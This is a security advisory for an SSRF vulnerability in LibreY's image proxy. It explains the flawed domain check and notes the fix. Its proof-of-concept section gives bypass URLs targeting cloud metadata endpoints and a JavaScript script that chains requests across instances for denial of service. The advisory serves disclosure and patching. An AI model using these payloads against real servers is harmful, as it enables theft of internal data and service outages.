Headline
CVE-2023-41054: LibreY Server-Side Request Forgery (SSRF) vulnerability in image_proxy.php
LibreY is a fork of LibreX, a framework-less and javascript-free privacy respecting meta search engine. LibreY is subject to a Server-Side Request Forgery (SSRF) vulnerability in the image_proxy.php
file of LibreY before commit 8f9b9803f231e2954e5b49987a532d28fe50a627. This vulnerability allows remote attackers to use the server as a proxy to send HTTP GET requests to arbitrary targets and retrieve information in the internal network or conduct Denial-of-Service (DoS) attacks via the url
parameter. Remote attackers can use the server as a proxy to send HTTP GET requests and retrieve information in the internal network. Remote attackers can also request the server to download large files or chain requests among multiple instances to reduce the performance of the server or even deny access from legitimate users. This issue has been addressed in https://github.com/Ahwxorg/LibreY/pull/31. LibreY hosters are advised to use the latest commit. There are no known workarounds for this vulnerability.
Summary
Server-Side Request Forgery (SSRF) vulnerability in image_proxy.php in LibreY before commit 8f9b980 allows remote attackers to use the server as a proxy to send HTTP GET requests to arbitrary targets and retrieve information in the internal network or conduct Denial-of-Service (DoS) attacks via the url parameter.
Details
In image_proxy.php, the requested root domain is checked to be in an array of allowed domains:
$url = $_REQUEST[“url”];
$requested_root_domain = get_root_domain($url);
$allowed_domains = array("qwant.com", "wikimedia.org", get_root_domain($config->invidious_instance_for_video_results));
if (in_array($requested_root_domain, $allowed_domains))
{
$image = $url;
$image_src = request($image);
header(“Content-Type: image/png”);
echo $image_src;
}
But in misc/tools.php, the get_root_domain function malfunctioned:
function get_root_domain($url) {
$split_url = explode("/", $url);
$base_url = $split_url[2];
$base_url_main_split = explode(".", strrev($base_url));
$root_domain = strrev($base_url_main_split[1]) . “.” . strrev($base_url_main_split[0]);
return $root_domain;
}
It uses the part after two slashes as the domain, but that is not always the case. The scheme could be omitted and HTTP will be used. https:/ can also be used instead of https://. So a URL like 127.0.0.1:8000//qwant.com/…/…/path or https:/example.com/qwant.com/…/ passes the check, and thus the request can target arbitrary URLs at the attacker’s will.
The attacker can get the full response body of the GET request so confidential information could be disclosed.
The attacker can also conduct DoS attacks by requesting the server to download large files. If the server is behind a CDN, the original IP address can be disclosed via SSRF, so the DDoS protection provided by the CDN could be bypassed. It can be self-chained or chained among multiple server instances to amplify the DoS effect.
PoC****Retrieve sensitive information
Request /image_proxy.php?url=example.com//qwant.com/…/…/ and see the response.
Or visit /image_proxy.php?url=https:/samplelib.com/qwant.com/…/lib/preview/png/sample-clouds2-400x300.png in a browser, which is a PNG image that matches the content type header.
If the instance is hosted on a cloud provider that supports 169.254.169.254, request /image_proxy.php?url=169.254.169.254//qwant.com/…/…/latest/ or /image_proxy.php?url=169.254.169.254//qwant.com/…/…/opc/v1/instance/ and see the response.
Denial-of-service (DoS)
Request /image_proxy.php?url=https:/speed.hetzner.de/qwant.com/…/10GB.bin or /image_proxy.php?url=speedtest.ftp.otenet.gr//qwant.com/…/…/files/test10Mb.db multiple times, and then send normal requests to see long response time or errors.
Chained DoS
JavaScript exploitation code:
const INSTANCES = [ 'https://librex.a.com/’, 'https://librex.b.com/’, 'https://librex.c.com/’, ]; const FINAL_TARGET = 'http://speedtest.ftp.otenet.gr/files/test10Mb.db’; const NUMBER_OF_ROUNDS = 25; const NUMBER_OF_REQUESTS = 1;
function manipulatedUrlParam(url) { const u = new URL(url); return `${u.protocol}/${u.host}/qwant.com/…/${u.pathname}${u.search}`; }
function imageProxyUrl(instance, target) { const u = new URL("image_proxy.php", instance); u.search = new URLSearchParams({ url: manipulatedUrlParam(target) }); // u.search = `?url=${manipulatedUrlParam(target)}`; return u.toString(); }
let chainedUrl = FINAL_TARGET; for (let i = 0; i < NUMBER_OF_ROUNDS; i += 1) { chainedUrl = imageProxyUrl(INSTANCES[i % INSTANCES.length], chainedUrl); } console.log(chainedUrl);
for (let i = 0; i < NUMBER_OF_REQUESTS; i += 1) { console.time(`fetch ${i}`); fetch(chainedUrl).then((res) => { console.timeEnd(`fetch ${i}`); console.log(`${res.status}: ${res.statusText}`); console.log(`Content-Type: ${res.headers.get(‘Content-Type’)}`); // res.text().then((t) => console.log(`Body Length: ${t.length}`)); }); }
A chained URL with 4 rounds between two instances looks like this: https://librex.b.com/image_proxy.php?url=https%3A%2Flibrex.a.com%2Fqwant.com%2F…%2Fimage_proxy.php%3Furl%3Dhttps%253A%252Flibrex.b.com%252Fqwant.com%252F…%252Fimage_proxy.php%253Furl%253Dhttps%25253A%25252Flibrex.a.com%25252Fqwant.com%25252F…%25252Fimage_proxy.php%25253Furl%25253Dhttp%2525253A%2525252Fspeedtest.ftp.otenet.gr%2525252Fqwant.com%2525252F…%2525252Ffiles%2525252Ftest10Mb.db
The number of rounds is limited by the maximum URI length. If the params are not URL-encoded, more rounds (up to ~130, depending on the length of the instance domain) would be possible but the exploitation code would be less robust. And when the DoS is successful, the chain will break in the middle so more rounds would not be useful for the attack.
In an experiment, this caused DoS for two of three chained instances for ~10 seconds in a single request. The actual effect depends on the server, but for stronger servers, it’s still easy to DoS with slightly more frequent requests. Anyhow, the amplification by chaining is significant.
Impact
Remote attackers can use the server as a proxy to send HTTP GET requests and retrieve information in the internal network. For example, the attacker may get AWS metadata at 169.254.169.254, or access services that are only locally available. However, only HTTP GET requests can be sent by the attacker, and redirects are not performed by the server.
Remote attackers can get the IP address of the server even if it is behind a CDN.
Remote attackers can also request the server to download large files or chain requests among multiple instances to reduce the performance of the server or even deny access from legitimate users.
Patches
This has been fixed in #31.
LibreY hosters are advised to use the latest commit, and LibreX hosters are advised to migrate to LibreY.